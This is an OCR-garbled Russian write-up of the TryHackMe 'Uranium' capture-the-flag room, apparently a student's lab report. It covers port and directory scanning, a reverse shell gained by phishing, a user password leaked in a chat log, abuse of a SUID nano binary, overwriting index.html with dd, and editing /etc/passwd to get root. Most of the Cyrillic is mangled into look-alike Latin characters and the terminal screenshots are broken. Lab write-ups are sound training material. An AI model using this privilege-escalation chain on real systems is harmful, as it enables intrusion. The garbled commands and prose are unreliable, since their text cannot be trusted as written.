Bonkcpy

¢/ WcnonHuutensb

TecTnpoBaHue BbinosiHeHO KpaBuoBbiM Hukonaem, HaYMHaoLWyiM creuuanmcTom no
nHcpopmaumoHHor 6e3onacHocTn B 22:55 (AgbuceHHasi KomMHama, coeemyr 8cem
npoumul).

Ucnonb3oBaHHble hannbi:

application - dpann ana nonyveHus reverse shell

hakanbey network log.pcap - dbain B KOTOPOM Mbl NMOSy4nriv naposib Ans YaTa ¢ krald
linpeas.sh - ckpunT A58 NoBbILLEHVS NpVBUIErni Ha linux.

nano - CKONMPOBaHHbIN GUHapPb B AOMALLHIOK AvpekToputo kral4

index.html - nsmeHeHHbI hann 4na coumnanbHOM NHKEHepUn pyTa

letc/passwd - dann KoTopbln Mbl aby3unu Ana nNosyvyeHns npae pyTa.

NMopsapok aencreun:

1) PepaktupoBaHue /etc/resolv.conf ona aoctyna B MHTEpHeT,
co3faHue nanku KOMHaTtbl, BKIoYeHue win kex ansa yno6crtBa,
BKIKOYEHMe BMH ANA AO0CTyNna K KOMHaTam

sudo nano /etc/resolv.conf; clear; mkdir uran; cd uran; clear; kex —--win; clear;

sudo openvpn ../Kolya0@80808.ovpn

clear; sudo ./thm-troubleshoot; nmap -sCV 10.10.203.196; gobuster dir -w
directory-list-2.3-medium.txt -b 40U —u http://uranium.thm

2) CkaHupoBaHMe NOPTOB C NOMOLL LI nmap.

PesynbTaThl:

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6pl Ubuntu dubuntu®.3 (Ubuntu Linux; protocol
2.0)

| ssh-hostkey:

| 2048 al:3c:d7:e9:d0:85:U40:33:d5:07:16:32:08:63:31:05 (RSA)

| 256 24:81:0c:3a:91:55:a0:65:9e:36:58:71:51:13:6c:34 (ECDSA)


https://github.com/peass-ng/PEASS-ng/tree/master

|_ 256 c2:94:2b:0d:8e:a9:53:f6:ef:3u4:db:f1:43:6c:cl:7e (ED25519)

25/tcp open smtp Postfix smtpd

| _smtp-commands: uranium, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8

| ssl-date:

|_ ERROR: Unable to obtain data from the target

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

| _http-title: Uranium Coin

Service Info: Host: wuranium; 0S: Linux; CPE: cpe:/o:linux:linux_kernel
Final times for host: srtt: 584243 rttvar: 4176 to: 600947

3) 3anyck Gobuster ansa noucka oUpeKTopun.

PesynbTaThl:

Gobuster v3.6
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://uranium.thm

[+] Method: GET

[+] Threads: 10

[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes:  dod

[+] User Agent: gobuster/3.6

[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/images (Status: 301) [Size: 311] [--> http://uranium.thm/images/]
/assets (Status: 301) [Size: 311] [--> http://uranium.thm/assets/]
Progress: 2197 / 220561 (1.00%)"C

[!] Keyboard interrupt detected, terminating.

Progress: 2197 / 220561 (1.00%)

Finished

4) CHavana s nocmMmoTpe st Ha BeO CTPpaHUUYy N, K COXareHur, Hu4ero
He Haluen:



PesynbTart:
HimPkor|-

=

& wraniumn.thrm

URANIUM COIN

5) MoaTtomy A nonbiTancsa nony4uTtb reverse shell c nomouwbio
Menna, KOTopbin s1 Hallen Ha cTpaHuue B TBUTTEpe, MOTOMY 4YTO B
OMMUCaHUU YTO-TO NOBOPUSIOCH NPO (PULLKHF, U A NONY4YUN NepBbIn
c¢onar:



PesynbTart:

hakanbey

It's a pleasure to work at Uranium Coin company..
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“Can you plesse open Lhe allschmenl?e® -s sllachnenl -

Can you plesse open the attschment??"

ix o 2 6] 44002
Lokl Cerploal proces:s group L6600 orapriste Ledtl o deylie
re job control im this shell
Frak aribesigur-aniomi~5 whoanl
STTHETR I
Frak ari e
Frakaribewiguraniomi~3 Ls

SETAN2A4 21 3d5 430 8 ida
guranivmi~d cal o




6) 3aTtem A Ha4Yan NOMCK NOBbIWEHUA NPUBUINErun, U Hawern B
Ivar/log .pcap cawun:

PesynbTart:

HMazon
bpaches
apport. log

=m_agent installation.log

loud-init.log
loud-init-output.log
di=t-upgrade
dpkg. log
Faillopg

network log.
inztaller
journal
cern.log
| andscape
| aztlog
ail.log
D en vpn
yslog
Fallylog
inattended-upgrades
tmp

7) Hanga naponb, 1 nowen cmoTpeTb YaT ¢ kral4:

Pesynbrar:

BHDl'u'dp 1E3kavessIzSevhG
Hi Krald

i bro

forget my password, do vou know my password ¢

es, Wait a sec I'1]1 send wou.
Ch , yes yes I remember. No need anwmore. Ty..
COkay bro, take care |




chat with krald

mail file

user 1.txt

hakanbeyguranium:~%

fchat with _krald

PASSWORD :MBMD1vdpig3ki ve5sIz5EYNG
krald:hl hakanbey

-»hi
hakanbey:hi
krald:how are wourf

-»im fine
hakanbey:im ftine

krald:what now? did wou forgot wour password again

) yep
canbey: yep

hakanbey: yes

krald:okay your password is Mys3cr3tpdswerD don't lose it PLEASE
krald:1 have to go

krald disconnected

connection terminated
hakanbewguranium:~% ~C

8) NMonyuyunB naponb, A 3awen B ssh 1 Hawen MHTEPECHYIO LUTYKY.
3aTeM S NOMeHSAN Nosib3oBaTesifA U Havyasn UcKaTb NyTU Nosy4vYeHus
web_flag(Mbl He uMeem kK HeMy gocTtyna) u root flag:




npoaHarmM3MpoBaB pe3yrbTaThbl, S HaLen BOT 3TO.

root
tm

9) C nomMoL b0 TaKOWU WUITYKM Mbl MOXEM 4YUTaTb U U3MEHATb hannbl.
NMoatomy, npouutaB web_flag, A nonbiTanca npouuTtatb /etc/sudoers,
HO Y MeHSl He BbILWIIO:

Pesynbrtar:

rds out
copied,

dd: falled to open 'fetc/sudoers': P ion deniled

10) Toraa A NnpoAoOMXUM NOUCK, U Hawwen BOT 3TO:



PesynbTart:

% cd mail/

----MIME delimiter for sendEmail 5.5146
ge in MIME format. To properly play t ge you need a MIME-ver N compliant Emall prog

--MIME delimiter f ndEmail-
Content -Type: text/pl
- o
Content -T r-Encoding: 7bit

give SUTD to the nano file in your home folder to fix the attack on our index.html. [eep the nano there, in

MIME delimiter for ndeEmail- L5146

11) A nomeHan daun index.html n ckonnposan 6uHapb nano K cebe,
4yTOOLI root Aan Ham pyT nNpaBa Ha ero UCNosfiHeHue:



PesyrnbTart:

% cd

user 1.txt
L Akralas
1=
user 2. txt
rm nano
cp fbinfnano fhomefkraldsfnano
1=
user 2. txt
: echo "hehe™ | dd of=/varfwww/html/index.html
F+1 records in
B+1 records out
E bytes copled, 8.688211841 =, 23.6 kBfs
: $ 1=
user 2. txt
$ 1ls -la
otal 1192
Arwxr -2- - -
drwxr -2 - X
I

4896 Feb
4895 Apr
9 Apr
228 Apr
371 Apr
189968 Apr
5 Feb
826586 Oct
4895 Apr
245872 Feb
887 Apr
I8 &pr

$ 1ls -la

[ ]

Lo O v T e R O I o B U I W I W R W |

.bash_history -» fdewfnull
.bash_logout
.bashrc

.check

=

.profile
user 2. txt

3
4
1
1
1
1
1
1
3
1
1
1

=

4896 Feb
4895 Apr
9 Apr .bash_history -» fdewfnull
228 Apr .bash_logout
3771 Apr .bashrc
189988 Apr
5 Feb .check
526586 Oct
4895 Apr
245872 Feb nano
867 .profile
358 user 2.txt

e o R R e e e T i i

12) MNMony4unB npaBa Ans UCNOSMHEHUs ./nano oT pyTa, A peLuws
NoNy41Tb NOSHbLIA AOCTYN K MalunHe, 1 NnoMmeHAnN /etc/passwd, a
3aTeM CMeHuUN nonb3oBartens Ha root n npo4yutan /root/root.txt:




Pe3yanaT

hinfnologin
=bin/nologin
fnologin
infnologin
1/nologin

binsnologin
infnologin

ologin
bin/nologin
'nolopin

ﬁufhen a 1 failure
: su - hakanbey
ward:

htmlcheck.py

thm{ 5140958474

ypal!

NMpumeyaHue

¢ MNpumeyvaHue

AdureHHasi KOMHaTa Ha TPEHUPOBKY HABbIKOB coLMaribHON MHXeHepur 1 pymHra. CoBeTyro
npowutu scem!

OrpomHoe cnacubo TryHackMe 3a komHaty!

Buaeo BbINONHeHUs



OpwurvHan:

TryHackMe | Uranium CTF x

C A %= tyhadmecom

Leam =
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/|

| chart
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180

0:00 / 52:26

L Mowck

YouTube

Uranium CTF

Uranium CTF
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https://youtu.be/CasiaG1GnwA

